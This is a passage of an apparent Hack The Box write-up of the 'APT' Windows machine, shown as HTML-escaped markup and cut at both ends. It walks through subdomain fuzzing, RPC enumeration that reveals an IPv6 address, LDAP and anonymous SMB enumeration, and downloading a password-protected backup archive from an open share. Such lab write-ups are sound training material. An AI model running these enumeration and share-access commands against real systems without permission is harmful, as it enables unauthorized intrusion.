class="cl"&gt;sales@gigantichosting.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gigantichosting.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added it to my hosts file and visited the HTTP service to see whether anything changed. Then I used FFUF to brute-force subdomains. (There was no difference at all; this domain had no effect.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H &amp;#34;Host: FUZZ.gigantichosting.com&amp;#34; --hh 14879&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I had now checked everything on port 80, so it was time to look at RPC.&lt;/p&gt;&#10;&lt;p&gt;Before looking at RPC, I checked the machine description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It said this was an exceptionally difficult machine, and that RPC enumeration could reveal an IPv6 address which would then become the target for further penetration. If I had to discover absolutely everything on my own, I definitely wouldn&amp;rsquo;t be able to finish this machine. Just like before, when I run into something extremely difficult, I follow a writeup until I reach a point where I can continue independently. Some of the writeups I&amp;rsquo;ve seen were also created specifically as learning exercises. The important thing is to absorb the material and make it your own.&lt;/p&gt;&#10;&lt;p&gt;The next step in the writeup was to use rpcmap.py to find an entry point. I also tried the usual anonymous rpcclient login with a blank username and password, but got nowhere.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Primarily used for SMB/CIFS services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Commonly used in Windows domain environments&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Requires credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcmap.py/rpcdump.py:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Focuses on RPC endpoint enumeration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Does not require credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Can discover more RPC interfaces&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now that I had an entry point, I started looking for tutorials. The blogs below explain it very well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc" target="_blank" rel="noopener"&#10; &gt;https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://juggernaut-sec.com/ad-recon-msrpc/" target="_blank" rel="noopener"&#10; &gt;https://juggernaut-sec.com/ad-recon-msrpc/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started experimenting.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcmap.py &amp;#39;ncacn_ip_tcp:10.10.10.213&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I was still following the hints from &lt;a class="link" href="https://juggernaut-sec.com/ad-recon-msrpc/" target="_blank" rel="noopener"&#10; &gt;https://juggernaut-sec.com/ad-recon-msrpc/&lt;/a&gt;. (I try to learn while avoiding the writeup as much as possible. Later on, I may encounter more services I&amp;rsquo;ve never seen before, and without a writeup this is the only way I could approach them.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It said to pay particular attention to 99FCFEC4-5260-101B-BBCB-00AA0021347A.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That exact value appeared in my results as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It fit the APT machine so perfectly that I almost wondered whether the post itself was a writeup. It wasn&amp;rsquo;t, though—it covered every method for attacking RPC. All of the links in that post were dead, so I searched for the project using the Python script&amp;rsquo;s name and found its repository.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mubix/IOXIDResolver" target="_blank" rel="noopener"&#10; &gt;https://github.com/mubix/IOXIDResolver&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python IOXIDResolver.py -t 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Retrieving network interface of 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: apt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: dead:beef::b885:d62a:d679:573f&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Successfully reproduced.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems—it was reachable. For convenience, I assigned it a domain name in my hosts file, though an IPv6 scan with nmap would also work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now the real work began.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Port 80&lt;/strong&gt; was no different. I decided not to brute-force it for the moment. I&amp;rsquo;d come back to that if I ran out of other options, since brute-forcing it was painfully slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;135 RPC&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; apt.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Not a single permission was available.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;389 LDAP&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 -6 apt.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| dnsHostName: apt.htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| ldapServiceName: htb.local:apt$@HTB.LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=DomainDnsZones,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=ForestDnsZones,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| defaultNamingContext: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| configurationNamingContext: CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| rootDomainNamingContext: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The domain was htb.local, so I needed to update the domain in my hosts file. Without authentication, I had no permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;445 SMB&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; htb.local &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //htb.local &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //htb.local &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;Sharename Type Comment&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;--------- ---- -------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;backup Disk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;IPC$ IPC Remote IPC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;NETLOGON Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;SYSVOL Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;htb.local is an IPv6 address -- no workgroup available&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] Attempting to map shares on htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/backup&#9;Mapping: OK Listing: OK Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/IPC$&#9;Mapping: OK Listing: DENIED Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[E] Can&amp;#39;t understand response:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/NETLOGON&#9;Mapping: N/A Listing: N/A Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[E] Can&amp;#39;t understand response:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/SYSVOL&#9;Mapping: N/A Listing: N/A Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was all the information I had. Based on the output, the accessible shares were backup and IPC$.&lt;/p&gt;&#10;&lt;p&gt;There was a 1 GB backup.zip inside backup. The download was too slow and disconnected immediately, and after that I tried accessing it several more times.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect anymore. Restarting the machine fixed it. I started looking for an SMB download command that wouldn&amp;rsquo;t disconnect midway through.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbget -R smb://htb.local/backup # This requires an IP address instead of a domain name, so it fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t cifs //htb.local/backup/ ./backup&#9;# This also fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For the standard domain penetration workflow I&amp;rsquo;d learned, the only thing left was a DNS query on port 53, so I moved on to that.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;53 DNS&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That didn&amp;rsquo;t work, so I went back and brute-forced port 80 again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was absolutely no difference. I was now one hundred percent sure there was something inside backup.zip on the 445 share. I checked the errors and tried downloading it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files" target="_blank" rel="noopener"&#10; &gt;https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That post offered several solutions. The command below successfully downloaded the file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -m SMB2 -N &amp;#39;//htb.local/backup&amp;#39; -c &amp;#39;timeout 120; iosize 16384; get backup.zip&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It required a password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 